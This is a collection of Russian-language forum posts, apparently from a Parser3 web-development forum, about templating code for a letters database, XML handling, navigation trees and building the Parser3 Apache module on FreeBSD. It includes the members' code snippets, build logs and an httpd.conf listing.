	<td height=\"21\" valign=\"top\" align=\"left\"><img src=\"/i/news.gif\" width=\"23\" height=\"18\">&nbsp;<a class=\"news_big\" href=\"$sections.uri\"><nobr>$sections.zagol</nobr></a></td>\
	<td width=\"5\" height=\"21\">&nbsp;</td>\
 </tr>\
 <tr> \
	<td height=\"1\" bgcolor=\"#CCCCCC\"><img src=\"/i/1pix.gif\" width=\"1\" height=\"1\"></td>\
	<td width=\"5\" height=\"1\"><img src=\"/i/1pix.gif\" width=\"1\" height=\"1\"></td>\
 </tr>\
 <tr> \
	<td> \
	  <p class=\"little\">$sections.name<br>\
	  <br>\
	  </p>\
	</td>\
	<td width=\"5\">&nbsp;</td>\
 </tr>\
}\
[/color]\
\
заранее спасибо!!!"
"32655","Не фурычит!\
[code]^connect[$connect_string]{$news[^table::sql{select *\
\
   from \
\
      u_letters  \
\
   where letter_status='unchecked'\
   \
}]}\
\
<table border=1 width=100% valign=middle>\
<tr align=center>\
<td>\
#\
</td>\
<td>\
To Id:\
</td>\
<td>\
Letter Status:\
</td>\
<td>\
Letter Content (ENG)\
</td>\
<td>\
Letter Translation (UKR)\
</td>\
<td></td>\
</tr>\
\
######data section\
\
^if($news){\
^news.menu{ \
<tr valign=top>\
<td align=center>\
$news.letter_id\
</td>\
<td align=center>\
$news.l_to\
</td>\
<td align=center>\
<form method=\"post\">\
<input type='text' value='$news.letter_status' name='letter_status' size=5>\
</td>\
<td align=justify>\
<b>Subject:$news.l_subject<b><br>\
<textarea name='l_eng' cols=60 rows=10>$news.l_eng</textarea>\
</td>\
<td align=justify>\
<br>\
<textarea name='l_ukr' cols=60 rows=10>$news.l_ukr</textarea>\
</td>\
<td>\
<input type=submit value=submit name=posted>\
</form>\
^if(def $form:l_eng){^connect[$connect_string]{^void:sql{update u_letters set letter_status='$form:letter_status', l_ukr='$form:l_ukr' where letter_id='$news.letter.id'}}\
</td>\
</tr>\
}}}\
</table>[/code]\
\
Идея: Выборка непроверенных писем из базы в форму. Редактировать в форме  $news.l_ukr & $form:letter_status.и отправлять изменененный вариант назад в базу."
"32656","[code]\
^body.documentElement.appendChild[^body.importNode[$tree.firstChild](1)]\
[code]\
Вроде так."
"32657","обзавите этот кусочек методом:\
[code]\
@sections[][sections]\
$sections[^table::load[/konf.txt]] \
^sections.menu{\
	<tr>\
		<td height=\"21\" valign=\"top\" align=\"left\">\
			<img src=\"/i/news.gif\" width=\"23\" height=\"18\">&nbsp;<a class=\"news_big\" href=\"$sections.uri\"><nobr>$sections.zagol</nobr></a>\
		</td> <td width=\"5\" height=\"21\">&nbsp;</td>\
	</tr> \
	<tr> \
		<td height=\"1\" bgcolor=\"#CCCCCC\">\
			<img src=\"/i/1pix.gif\" width=\"1\" height=\"1\">\
		</td> \
		<td width=\"5\" height=\"1\">\
			<img src=\"/i/1pix.gif\" width=\"1\" height=\"1\">\
		</td>\
	</tr>\
	<tr>\
		<td>\
			<p class=\"little\">$sections.name<br /> <br /></p> \
		</td> \
		<td width=\"5\">&nbsp;</td>\
	</tr>\
}\
# end @sections[][sections]\
#################################################################\
[/code]\
и в, допустим, index.html напишите:\
[code]\
^sections[]\
[/code]\
\
если я правильно понял..."
"32658","И что вам должны ответить? Вы думаете сейчас все побегут создавать таблицу u_letters с черт знает какими полями? \
1. Если хотите, чтобы в вашем коде кто-нибудь, кроме вас, разобрался, пишите его понятно и грамотно, как вы поймете, что закрывает фигурная скобка если код написан без единой табуляции?\
2. Это ваше личное дело, но советую писать в запросе все поля из базы, а не *\
3. Если хотите получить ответ на ваш вопрос, объясните подробнее, что должно происходить в вашем коде и что происходит, какая ошибка выдается..."
"32660","если объединять [b]тексты[/b] документов, и только потом делать [b]один[/b] xdoc::create от общего документа, работать будет значительно быстрее, чем create+create+import+appendNode."
"32661","Хм, спасибо, принцип понял, попробую."
"32662","А объединять документы без create тоже DOM'ом?..\
Ведь он по идее требует правильного формата документа..."
"32664","Намекаю на то что не стоит показывать, не оптимальные примеры."
"32666","вопрос был поставлен прямо:\
[quot]как при помощи регулярных варажений заменить кавычки типа \"\" на «»[/qout]\
Мне думается, что необходимо заменить конструкцию \"слОво\" на &laque;слОво&raque; без каких-либо дополнительных условий. Мой пример, хоть и не оптимальный, зато дает человеку хоть какую-то зацепку, из которой он сам, либо сможет сделать необходимое ему выражение, либо поставить в форуме вопрос, который прояснит обстановку...\
а вопроса, как сделать такое регулярное выражение:\
[color=\"#660000\"]\
искать возможные знаки !? или троеточие в одном экземпляре (если не найдено не растраиваемся), после которых идет знак \" и если за ним не следует границы слова и заменять дюйм на правую елку после $mathc.1\
[/color]\
я не слышал... :)\
\
ЗЫ а тепограф хороший :) (жаль Лебедев свой не дает)"
"32669","Есть база писем (u_letters) с колонками:\
letter_id\
u_id\
l_date\
l_to\
l_subject\
l_eng\
l_ukr\
letter_status\
\
В базу через форму пользователь загоняет английский вариант письма (l_eng) и автоматически загоняется статус письма.\
\
Мне нужно вызвать все письма из базы. (проверено работает через ^menu)в форму, в которой я редактирую статус (letter_status) и украинский вариант (l_ukr)(изначально пустой). Потом нажимаю возле нужной строки клавишу сабмит и в базе обновляется информация.\
[code]\
^connect[$connect_string]{$news[^table::sql{select *\
\
   from \
\
      u_letters  \
\
   where letter_status='unpaid'\
   \
}]}\
\
<table border=1 width=100% valign=middle>\
<tr align=center>\
<td>\
#\
</td>\
<td>\
To Id:\
</td>\
<td>\
Letter Status:\
</td>\
<td>\
Letter Content (ENG)\
</td>\
<td>\
Letter Translation (UKR)\
</td>\
<td></td>\
</tr>\
\
######data section\
^if($news){\
           ^news.menu{ \
<tr valign=top>\
<td align=center>\
           $news.letter_id\
</td>\
<td align=center>\
           $news.l_to\
</td>\
<td align=center>\
           <form method=\"post\">\
                 <input type='text' value='$news.letter_status' name='letter_status' size=5>\
</td>\
<td align=justify>\
           $news.l_subject<b><br>\
           <textarea name='l_eng' cols=60 rows=10>$news.l_eng</textarea>\
</td>\
<td align=justify>\
<br>\
           <textarea name='l_ukr' cols=60 rows=10>$news.l_ukr</textarea>\
</td>\
<td>\
           <input type=submit value=submit name=posted>\
</form>\
                   ^if(def $form:l_eng){^connect[$connect_string]{^void:sql{update u_letters set letter_status='$form:letter_status', l_ukr='$form:l_ukr' where letter_id='$news.letter.id'}}}\
</td>\
</tr>\
####типа закрыл menu конец строки\
}}\
</table>\
[/code]\
	\
Надеюсь теперь по понятнее! Спасибо за ответ!"
"32670","Когда писал ответ, думал что этот:\
http://xml.raleigh.ru/forum/discussion.php?article=bot1a6$13tl$1@ddt.demos.su&mode=tree\
\
Но попробовал сейчас - не получилось.\
В спецификации посмотрел, group-by вообще не нашел.\
А жаль...\
\
А Ваше решение если не секрет ?"
"32671","xsl:for-each-group это из XSL2 если не ошибаюсь, set:distinct Парсеровская libxslt тоже не поддерживает, там упомянуто что в рамках XSLT лучшим будет метод группировки Мюнча, вот он должен вам подойти. Я ж вам ссылку давал =)"
"32672","все равно не понятно :) \
вы хотите выбирать все непроверенные письма? тогда загоните таблицу в хеш с ключами вашего статуса и проверяйте...\
\
ЗЫ думаю для подобных изменений вам пригодится [code]$result[...][/code]\
\
если я неправельно понял, объясните поподробнее, что вы хотите сделать и что в данный момент у вас происходит..."
"32673","Все абстрактно:\
1. Я вывожу список писем: \
а) подключаюсь к БД, вытаскиваю данные, создаю форму, ввожу в поля формы (через value) данные из БД. (вроде работает, видно).\
2. Я вношу изменения в данных в полях созданной выше формы.\
3. Потом при сабмите мне нужно чтобы данные из форму (измененные) были внесены вместо загруженных в нее заранее.\
\
Выдает:Unhandled Exception\
В логе:\
/Letters/index.html(64:138): 'letter' column not found [parser.runtime]"
"32675","[code]where letter_id='$news.letter.id' [/code]\
видимо имелось в виду:\
[code]where letter_id='$news.letter_id' [/code]"
"32676","Извините ребята, теперь фурычит!"
"32677","Вот заказчики хотят, чтобы файлы тянуть было можно, но не качалками и неминуя просмотр рекламы на страницах.\
Все варианты пришедшие в голову, кажутся не особенно подходящими и легко обходимыми.\
Все что надумал:\
 - ограничить Апачем на кол-во соединений с одного айпи \
 - Referal должна быть  \"страница с нашего сайта\"\
 - ограничение по HTTP_USER_AGENT\
 - Куки/нестандартная аутентификация\
\
Все кроме первого и последнего обходится очень просто.\
А последнее будет неудобно юзерам ~ меньшая посещаемость.\
\
Есть какие-либо мысли?\
\
Просьба не флэймить фишками типа \"надо выкладывать такое, ради которого юзера согласятся регистрироваться\". Это не совсем так. Вопрос уже обсуждался."
"32678","Скажите, грамотно было бы сделать так:\
загружаем таблицу с навигацией (id, parent_id, name, uri) \
uri хранятся без слешей и родительских путей. \
Формируем таблицу с полными путями и сохраняем ее в цефегешник.\
Строим дерево из хеша, сделанного из только что испеченного цефегешника с полными путями. \
\
это чтобы каждый раз не формировать все uri, т.е. при формировании поных путей, проверяется на существование сефегешник с полными путями и если он существует, формирование пропускается...\
\
или есть более оптимальный способ?"
"32679","А одноразовые ссылки с использованием какого-нибудь RewriteMap не помогут?"
"32680","1. Я уже много смотрел обсуждений на эту тему и до сих пор не могу понять - ну почему нельзя хранить полный путь в БД, зачем непременно нужно усложнять себе жизнь? Вот неужели на сайте тысячи разделов? Особенно не понимаю, потому что все попытки строить деревья начинаются с \"грузим таблицу со всеми uri\". А если там тысячи разделов? ))"
"32681","... многие mp3-сайты. Ссылки выдаются временные через дополнительное окно (окна) с рекламой."
"32682","Я сейчас храню в базе обе структуры, - и рекурсивную, и с полными путями, т.е. 4 столбца получается: key, parent, path, level. Первая структура облегчает переименование/перенос, вторая - поиск и выдачу."
"32683","Ну потому что когда приспичит переименовать один из корневых каталогов — не пришлось изменять путь также и ко всем подрозделам, только в одном месте внес поправку и все! :)"
"32686","т.е. при редактировании одного раздела, нужно редактировать всю базу?"
"32688","допустим в базе есть:\
uri_1\
uri_1_1\
uri_1_1_1\
\
после формирования:\
/uri_1/\
/uri_1/uri_1_1/\
/uri_1/uri_1_1/uri_1_1_1/\
\
допустим, я хочу изменить uri_1, стало быть все подразделы нужно менять. (если они храняться в базе вместе с относительным uri)"
"32692","речь была про \
[quote]\
переименовать один из корневых каталогов\
[/quote]\
то есть в таком случае все ссылки, например, /info/blah-blah-blah приобрести должны вид /about/blah-blah-blah - разве нет? а это работа для одного UPDATE..."
"32694","Компилирую модуль апача под фри 4,10\
\
Делаю конфигуре для апача\
\
./p3runConfigure --enable-shared=max --disable-shared=mod_parser3.c\
\
выдает\
\
Configuring for Apache, Version 1.3.31\
 + using installation path layout: FreeBSD (config.layout)\
 + on-the-fly added and activated parser3 module (modules/extra/mod_parser3.o)\
[color=\"#ff0000\"]shared_mod_parser3.c=no: not found[/color]\
Creating Makefile\
\
make install\
\
всё проходит гладко, при попытке запуска апача получается\
\
Starting apache.\
Syntax error on line 239 of /usr/local/etc/apache/httpd.conf:\
Cannot load /usr/local/libexec/apache/mod_parser3.so into server: /usr/local/libexec/apache/mod_parser3.so: Undefined symbol \"pa_parser_handler\"\
\
то есть получается что модуль компилится как shared, и не хочет работать. Что сделать чтобы заработало?"
"32696","Очень часто случается, что при написании интерфейса администратора к какой-либо таблице (продукты, статьи, дистрибьюторы, адреса офисов и т.д.) возникает проблема сортировки этих данных. Нужна возможность, что бы в дальнейшем администратор мог управлять порядком следования этих записей на сайте. Самый прямой вариант – создать некоторое поле «сортировочный номер» и сортировать по нему, но это крайне не удобно администратору. Следующая мысль – давать редактировать этот сортировочный номер не напрямую, а через <select> с элементами «перед всеми», «после первого», «после второго» и т.д. (Так, например, сделано в phpMyAdmin’е, когда добавляешь поле к таблице). В таком случае возникает много побочных явлений в результате удаления записей и, например, тогда, когда структура древовидная.\
Было бы интересно узнать, кто как решает данную проблему.\
Спасибо."
"32700","...только все же мне кажется имеется в виду несколько иное. Сортировка не при просмотре, а при выдаче. Т.е. порядок выдачи информации пользователю. А вот ужк как это сделать - я не знаю. :("
"32702","По сути, это то, о чем я говорил, только называл это сортировочным номером (sortNum). \
Каким образом можно предоставить пользователю (администратору) наглядно изменять порядок записей в таблице?"
"32703","JavaScript может отсортировать данные уже на клиенте - зачем так сложно? Думаю, разумнее хранить данные для сортировки прямо в таблице и сортировать средставми базы данных."
"32704","Imho, удобнее всего для пользователя(администратора) - с помощью Java-Script drag-n-drop. Это реально удобнее всего и привычнее. Сложновато в реализации, правда. ...Я когда-то на флэше делал подобную вещь, для редактирования системы данных презентационного компакт-диска. \
\
....В любом случае, гораздо удобней, если вы можете поменять порядок следования записей \"прямо сейчас\", а не через некоторое время, пока сервер обработает запрос."
"32705","ОГРОМНОЕ ВАМ СПАСИБО!!!!!"
"32708","Скажите, есть ли в вашей системе администрирования модель \"блок в блоке\", или они там следуют друг за другом?\
\
...если есть, не могли бы вы намекнуть, как вы эту модель реализовали?\
\
Спасибо"
"32709","доброго.\
\
Подскажите пожалуйста как сделать чтобы при заполнение формы, и допусти если не заполнены обязательные поля при нажатии кнопки submit не сьрасывались введенные значения. Или при постинге формы и патом при нажатии кнопки back не происходило тоже самое? \
\
То есть идейно есть анкета в которой если пользователь не заполнил что=то из обязательных форм, то после проверки все бы не сбрасывалось и не надо было вводить все заново.\
\
спасибо."
"32710","Я обычно делаю так:\
[code]\
<input name=\"e_mail\" value=\"$form:e_mail\">\
[/code]\
\
Этуже задачу можно решить с помощью javascript и cookie, также можно вести на сервере базу данных о том какие данные на каком компьютере каким пользователем в какое поле в какое время .... были введены"
"32715","не не в том плане \"зачем?\" что я не смог-бы придумать применения этому, а что за задача, когда без этого не обойтись? иерархия блоков достаточно сильно усложнит систему, и не даст ей чего-то очень ценного.\
\
блок в блок у меня поместить можно с помощью обработчика. но обычно это делается с такими блоками которые не требуются постоянно, например блок в котором содержится текст, показываемый посетителю после того, как он заполнил форму и нажал \"отправить\"."
"32716","Какие планы у разработчиков?"
"32717","накоплен ряд небольших ошибок, из небольших нововведений помню только последнее (пока не сделано): \
возможность удобно отправлять html письма с картинками.\
\
см. ChangeLog в cvs."
"32718","А что касается \"зачем\".... не знаю, мне так удобней кажется,\
к тому же хотелось бы, чтобы для конечного пользователя процесс администрирования сайта был наглядней, потому что в виде тэгов писать новые блоки им часто трудно, а набрать из кубиков гораздо проще, вставляя один в другой и рядом.."
"32719","Интересны перспективы ?"
"32720","как думаете, чего ещё не хватает?"
"32722","библиотека есть, сделать несложно, приму \"patch -u\""
"32723","Проблема такая: есть www.site.ru/forum/\
хочу сделать так, чтобы это место было видно как forum.site.ru/ \
пытаюсь это сделать через mod_rewrite, прописал алиас в днс с forum.site.ru на www.site.ru и пытаюсь все запросы у которых хост начинается с forum. перебрасывать на www.site.ru/forum/ \
\
почему-то всегда получается, что выдается 404 ошибка, НО..\
когда делаешь редирект (прописыванием флага [R] в строчке с правилом), то все проходит нормально, но такая ситуация меня не устраивает, так как апач окончательно перебрасывает на www.site.ru/forum/, а мне надо, чтобы пользователь оставался в зоне forum.site.ru\
\
в общем, если кто сталкивался с подобной проблемой, просьба дать совет\
\
Заранее спасибо"
"32725","Проще высказывать предложения, взяв что-то за основу (по крайней мере, поворяться не будем)."
"32727","хорошие идеи лишними не бывают.\
\
расписывать недосуг, вот, как могу:\
parser3: mac os x\
parser3: more safe mode [Task modified]\
parser3/todo  [RE: parser: передача методу хеш-параметра\
parser3/todo: перекодировать env  [FW: mts: bug: <input>encoding</input>\
parser3/todo: ^mail.send[ $.file[тут не file\
parser3/todo: transform result as is\
parser3/todo: почему T_DOC_HTML.F_CONTENT не достаётся?\
parser3/todo: hashfile 2errors\
parser3/todo: hashfile - Трудности определения пустоты файла\
RE: parser3/todo: русские буквы в именах файлов\
parser3/todo \"+08\" now octal. \"-08\" too  [RE: parser\
parser3: odbc: mssql date format from query : yyy-mm-dd h:m:s.12300000\
parser3/todo hash::sql $.distinct[tables]\
parser3todo: ^mail:send[ $.related[]  << порождать multipart/related блок"
"32729","...и алгоритм вроде нормальный получился.\
\
Только вот одна загвозка. Мне нужно XPath-ом выдергивать одну (!) запись:\
\
[code]\
$parent[^xmlTree.selectSingle[//item[attribute::id=\"$parent_id\"]]]\
[/code]\
\
Он мне выдает ошибку [i]«string method not found»[/i]\
\
Была мысль, что в XML-е еще не добавлся <item id=\"$parent_id\"> (ведь я динамически его строю, из таблицы), но при внимательном рассмотрении оказалось что добавился. Может быть у меня с XPath проблема и парсер тут не при чем?"
"32731","молчание 2 день уже..."
"32734","имею систему: \
  FreeBSD 5.2.1-RELEASE-p9 #7: Sun Sep  5 23:52:05 MSD 2004 i386\
имею структуру исходников:\
[gamma] /chroot/src# du -hd 2\
342K    ./php-4.3.8/win32\
1.2M    ./php-4.3.8/sapi\
 50K    ./php-4.3.8/scripts\
126K    ./php-4.3.8/TSRM\
198K    ./php-4.3.8/regex\
592K    ./php-4.3.8/tests\
 62K    ./php-4.3.8/build\
2.3M    ./php-4.3.8/Zend\
846K    ./php-4.3.8/main\
1.9M    ./php-4.3.8/pear\
 90K    ./php-4.3.8/netware\
 16M    ./php-4.3.8/ext\
2.0K    ./php-4.3.8/include\
2.0K    ./php-4.3.8/libs\
2.0K    ./php-4.3.8/modules\
 50K    ./php-4.3.8/XML_RPC-1.1.0\
 27M    ./php-4.3.8\
168K    ./apache_1.3.31/conf\
 21M    ./apache_1.3.31/src\
2.0K    ./apache_1.3.31/logs\
4.6M    ./apache_1.3.31/htdocs\
470K    ./apache_1.3.31/icons\
6.0K    ./apache_1.3.31/cgi-bin\
 26M    ./apache_1.3.31\
8.0K    ./parser3/CVS\
 40K    ./parser3/bin\
108K    ./parser3/etc\
 25M    ./parser3/src\
886K    ./parser3/tests\
174K    ./parser3/www\
 28M    ./parser3\
356K    ./gc6.1/include\
108K    ./gc6.1/cord\
296K    ./gc6.1/doc\
 18K    ./gc6.1/Mac_files\
 62K    ./gc6.1/tests\
 66K    ./gc6.1/.deps\
804K    ./gc6.1/.libs\
4.5M    ./gc6.1\
 86M    .\
\
исходники апача и пхп - из портов после make patch выдраны из каталогов work/\
исходники парсера - догнаны через cvsup: \
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3 \
\
\
хочу собрать апач с модулями пхп и парсер... пытался сначала пхп, потом парсер и сначала парсер, потом пхп - результат один...\
\
начинаю сборку:\
cd apache_1.3.31/\
./configure\
cd ../parser3/\
./configure --prefix=/usr/local/parser3 --with-apache13=../apache_1.3.31/ --with-static-gc=/usr/local/libgc/lib\
(gc установлен заранее --prefix=/usr/local/libgc)\
make\
получаю (полный вывод):\
Making all in src\
Making all in include\
make  all-am\
Making all in main\
Making all in sql\
Making all in types\
Making all in classes\
Making all in lib\
Making all in patches\
Making all in gd\
Making all in smtp\
Making all in cord\
Making all in include\
Making all in private\
Making all in ltdl\
Making all in pcre\
Making all in md5\
Making all in gc\
Making all in include\
Making all in sdbm\
Making all in apr-include\
Making all in targets\
Making all in cgi\
gcc  -g -O2    -o parser3  pa_threads.o parser3.o  getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a  -L/usr/local/libgc/lib -Wl,-Bstatic -lgc -Wl,-Bdynamic   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
Making all in isapi\
Making all in apache13core\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include  -I../apache13 -I../../classes -I../../types -I../../../src/lib/ltdl -I../../sql -I../../lib/gc/include -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I../apache_1.3.31//src/include -I../apache_1.3.31//src/os/unix -I../apache_1.3.31//src/os/win32     -g -O2 -MT pa_threads.o -MD -MP -MF \".deps/pa_threads.Tpo\"  -c -o pa_threads.o `test -f 'pa_threads.C' || echo './'`pa_threads.C;  then mv \".deps/pa_threads.Tpo\" \".deps/pa_threads.Po\";  else rm -f \".deps/pa_threads.Tpo\"; exit 1;  fi\
cc1plus: ../apache_1.3.31/src/include: Not a directory\
cc1plus: ../apache_1.3.31/src/os/unix: Not a directory\
cc1plus: ../apache_1.3.31/src/os/win32: Not a directory\
*** Error code 1\
\
Stop in /chroot/src/parser3/src/targets/apache13core.\
*** Error code 1\
\
Stop in /chroot/src/parser3/src/targets.\
*** Error code 1\
\
Stop in /chroot/src/parser3/src.\
*** Error code 1\
\
Stop in /chroot/src/parser3.\
\
что я делаю не правильно?"
"32737","однако, по-хорошему, нужно, как JNI в java, чтобы можно было копаться в любых структурах работающей программы.\
\
это пожелание тоже уже высказывалось, но в TODO не попало: нужно сделать либо хорошо либо не браться вовсе. на хорошо у меня нет сил."
"32738","где-то ошибка в скриптах?\
странно, что на форуме не было до сих пор, я что - первый?"
"32739","можно сказать, что это в нём bug, но если бы вы посмотрели, сколько проблем авторы решили, то просили бы им нежелание возиться ещё и с этой мелочью."
"32741","может сделаете, чтобы внутри метода можно было определить имя метода, из которого он вызван?\
\
зачем это нужно конкретно мне:\
\
напиал класс для отладки, типа ^rem.ok[данные вставились] и потом от инициализации класса в корневом auto.p либо выводятся эти разные сообщения (^rem.error[], ^rem.warning[], ^rem.info[], ^rem.sql_debug[] и т.д.) либо нет... вот хорошо бы в них можно было еще писать, откуда их вызвало...\
\
ну, не скажу что это глобально нужно, но было бы полезно... да и по форуму, помнится, кто-то еще интересовался..."
"32742","Возможно ли произвести двойную \"окраску\"? Попробовал ^taint[uri][^taint[xml][<>]].\
Впечатление такое, что последний ^taint перекрывает предыдущий, т.е. данные \"пачкаются\" один раз. Так ли это?"
"32743","а что вы думаете, что должно происходить при двойной окраске?"
"32744","Из <> получить не %3C%3E, а %26lt%3B%26gt%3B"
"32745","Апач собрался\
PHP работает и даже к MySQL подключается...\
\
а где найти Парсер? его описывать в разделах VirtualHost надо как-то правильно или модуль сначала LoadModule AddType всякие... а то я просто мучаюсь несколько часов - такое ощущение, что Апач и не знает, что его с Парсером собрали...\
\
в доке тоже что-то странное или я не понимаю...\
\
можно в двух словах сказать, что делать? типа загрузить модуль, описать файл конфигурации для виртуального хоста или че ваще как? просто вообще не пойму где он, Парсер?\
\
вроде в доке написано много, но что-то я кроме ошибок ничего не получаю...\
\
извиняюсь, если утомил... но что-то скудно, имхо, по модулю Апача - редко пользуются? или я просто первый раз не вижу очевидного..."
"32746","# =================================================\
# Basic settings\
# =================================================\
\
ServerType standalone\
ServerRoot \"/usr/local/apache\"\
PidFile /usr/local/apache/logs/httpd.pid\
ScoreBoardFile /usr/local/apache/logs/httpd.scoreboard\
ResourceConfig /dev/null\
AccessConfig /dev/null\
\
# =================================================\
# Performance settings\
# =================================================\
\
Timeout 300\
KeepAlive On\
MaxKeepAliveRequests 100\
KeepAliveTimeout 15\
MinSpareServers 5\
MaxSpareServers 10\
StartServers 5\
MaxClients 150\
MaxRequestsPerChild 0\
\
# =================================================\
# Apache's modules\
# =================================================\
\
ClearModuleList\
AddModule mod_log_config.c\
AddModule mod_mime.c\
AddModule mod_dir.c\
AddModule mod_access.c\
AddModule mod_auth.c\
AddModule mod_php4.c\
\
# =================================================\
# General settings\
# =================================================\
\
Port 80\
User apache\
Group apache\
ServerAdmin webmaster@voskresensk.net\
UseCanonicalName Off\
ServerSignature Off\
HostnameLookups Off\
ServerTokens Prod\
<IfModule mod_dir.c>\
    DirectoryIndex index.html\
</IfModule>\
DocumentRoot \"/www/vhosts\"\
\
# =================================================\
# Access control\
# =================================================\
\
<Directory />\
    Options None\
    AllowOverride None\
    Order deny,allow\
    Deny from all\
</Directory>\
\
# =================================================\
# MIME encoding\
# =================================================\
\
<IfModule mod_mime.c>\
    TypesConfig /usr/local/apache/conf/mime.types\
</IfModule>\
DefaultType text/plain\
<IfModule mod_mime.c>\
    AddEncoding x-compress Z    AddEncoding x-gzip gz tgz\
    AddType application/x-tar .tgz\
    AddType application/x-httpd-php .php\
    AddType application/x-httpd-php .inc\
    AddType application/x-httpd-php .class\
</IfModule>\
\
# =================================================\
# Logs\
# =================================================\
\
LogLevel warn\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\
LogFormat \"%{Referer}i -> %U\" referer\
LogFormat \"%{User-agent}i\" agent\
ErrorLog /usr/local/apache/logs/error_log\
CustomLog /usr/local/apache/logs/access_log combined\
\
# =================================================\
# Virtual hosts\
# =================================================\
\
NameVirtualHost *\
<VirtualHost *>\
        DocumentRoot \"/www/vhosts/default/html\"\
        ServerName \"192.168.50.5\"\
        ServerAlias \"213.234.249.4\"\
        ErrorLog /www/vhosts/default/logs/error_log\
        CustomLog /www/vhosts/default/logs/access_log combined\
        <Directory \"/www/vhosts/default/html\">\
            Order allow,deny\
            Allow from all\
        </Directory>\
</VirtualHost>"
"32747","Может стоит найти помошников... Даже на этом форуме наверное есть талантливые программисты."
"32748","Возможно ли в загружаемой картике со шрифтами располагать символы не вертекально как в хелпе а горизонтально"
"32749","http://www.parser.ru/docs/lang/install4apachemodule.htm"
"32751","а какая разница?"
"32752","читаю:\
[quote]\
А после имеющихся строк AddModule (если не имеются, не добавляйте):\
# добавление модуля к списку активных модулей\
AddModule mod_parser3.c\
Внимание: до 3.1.1 версии Parser: AddModule mod_parser3.C  (на конце .C большая)\
[/quote]\
делаю:\
# =================================================\
# Apache's modules\
# =================================================\
\
ClearModuleList\
AddModule mod_log_config.c\
AddModule mod_mime.c\
AddModule mod_dir.c\
AddModule mod_access.c\
AddModule mod_auth.c\
AddModule mod_php4.c\
# добавление модуля к списку активных модулей\
AddModule mod_parser3.c\
\
запускаем Апач и получаем:\
\
Start apacheSyntax error on line 38 of /usr/local/apache/conf/httpd.conf:\
Cannot add module via name 'mod_parser3.c': not in list of loaded modules\
\
как надо правильно?"
"32755","\"Экранные\" шрифты, которые в нете валяются на каждом углу."
"32757","пустой строки в документации не хватает? добавлю."
"32759","Не то.\
\
Проще открыть фотошоп, выставить равное расстояние между буквами и напечатать \"абвгдеёжзийк...\", чем с сопением и пыхтением сооружать столбик из буковок, перетаскивая их поштучно. В строку проще, чем в столбик..."
"32760","что делать-то?\
\
я не издеваюсь, я правда не понимаю...\
\
обычно чем точнее следуешь инструкциям, тем проще все получается и быстрее...\
но тут я в затыке...\
\
или плюнуть уже на модуль и обычными CGI обходиться? не хотелось бы, конечно..."
"32761","[Tue Sep  7 09:08:50 2004] out of memory: failed to allocate 12 bytes. heap_used=14258176, heap_free=0, bytes_since_gc=15613524, total_bytes=15613524\
\
Что значит ясно нехватает памяти, но неясно какой странице.\
\
Подскажите как узнать какой странице не хватает памяти?"
"32762","в столбик то же самое + нажимать Enter. С учетом частоты изготовления шрифтов, это все не так уж сложно :)"
"32763","в httpd.conf из поставки apache под win32 есть вполне конкретный комментарий, куда вставлять эти строки. смотрю версию 1.3.28\
\
если комментария нет, вставьте хоть в первую строку."
"32765","соотнесите момент времени"
"32766","как ИМЕННО должна выглядеть строка?\
у меня такое чувство, что не собрался модуль-то...\
как-нибудь это можно проверить? \
как хоть файл должен называться и где его искать?"
"32767","как должна выглядеть?\
а что написано в документации по установке parser?\
\
как файл называться?\
http://www.parser.ru/forum/?id=32764\
\
у вас чувство?\
может у вас есть понимание, что собралось, а что нет?"
"32768","а что написано в документации по установке parser?\
\
там пример для Win32\
# динамическая загрузка модуля\
LoadModule parser3_module x:\\path\\to\\ApacheModuleParser3.dll\
для Unix нету упоминания... или модуль не .so какой-нибудь, а .dll для FreeBSD тоже называется? воистину неожиданно сие... да еще и в разделе про Win\
\
у вас чувство?\
может у вас есть понимание, что собралось, а что нет?\
\
к сожалению, только чувство... понимания нет...\
обычно понимание возникает из чтения документации и того, что пишут на экране...\
по документации делал правильно старался, ошибок на экране не замечал типа WARNING! ERROR! PARSER3MODULE NOT COMPILED! а где он - непонятно... документация на этом обрывается, после компиляции никакой таблички не выдало... остаются догадки для меня...\
\
щас еще попытаюсь собрать не через p3run скрипт, а штатным --activate-module=  --enable-module= \
или там есть непреодолимые подводные камни?\
\
просто сама сборка небыстрый процесс - сам Apache потом еще чрутить тоже не две минуты..."
"32769","ибо размер всех символов по вертикали одинаковый (знакоместо), а в ширину может отличаться (пропорциональный).\
\
А вот что реально было-бы неплохо прикрутить, так это возможность загружать файл шрифта в формате PNG (с т.н. альфа-каналом), и, соответственно, возможность печати такими шрифтами по изображению. Если у кого-нибудь наидётся желание и возможность нарисовать \"патч -у\" по этой теме, было-бы просто здорово.\
Со своей стороны обязуюсь дополнить эту фичу актуальными ей шрифтами, ибо некоторые наработки в этой области уже имеются, и с нетерпением ждут своего часа."
"32770","я не знаю, куда apache::скрипты сборки кладут собираемый mod_parser3.so\
\
поищите?\
\
советовал вам путь от win32: там собираю только .dll\
на unix: собирал apache только в статике, посему помочь не могу."
"32771","я тут вгляделся в вывод make апача, особенно в части, где собираются modules и далее...\
а мод_парсер че-то не вижу где собирается... сборка лихо проскакивает через модули, цепляет php, но в extra че-то не заходит чтоль? вроде же там как раз и лежит мод_парсер?\
\
[code]\
===> src\
===> src/modules\
===> src/modules/standard\
gcc -c  -I../../os/unix -I../../include   -funsigned-char -DUSE_EXPAT -I../../lib/expat-lite -DNO_DL_NEEDED `../../apaci` mod_log_config.c\
gcc -c  -I../../os/unix -I../../include   -funsigned-char -DUSE_EXPAT -I../../lib/expat-lite -DNO_DL_NEEDED `../../apaci` mod_mime.c\
gcc -c  -I../../os/unix -I../../include   -funsigned-char -DUSE_EXPAT -I../../lib/expat-lite -DNO_DL_NEEDED `../../apaci` mod_dir.c\
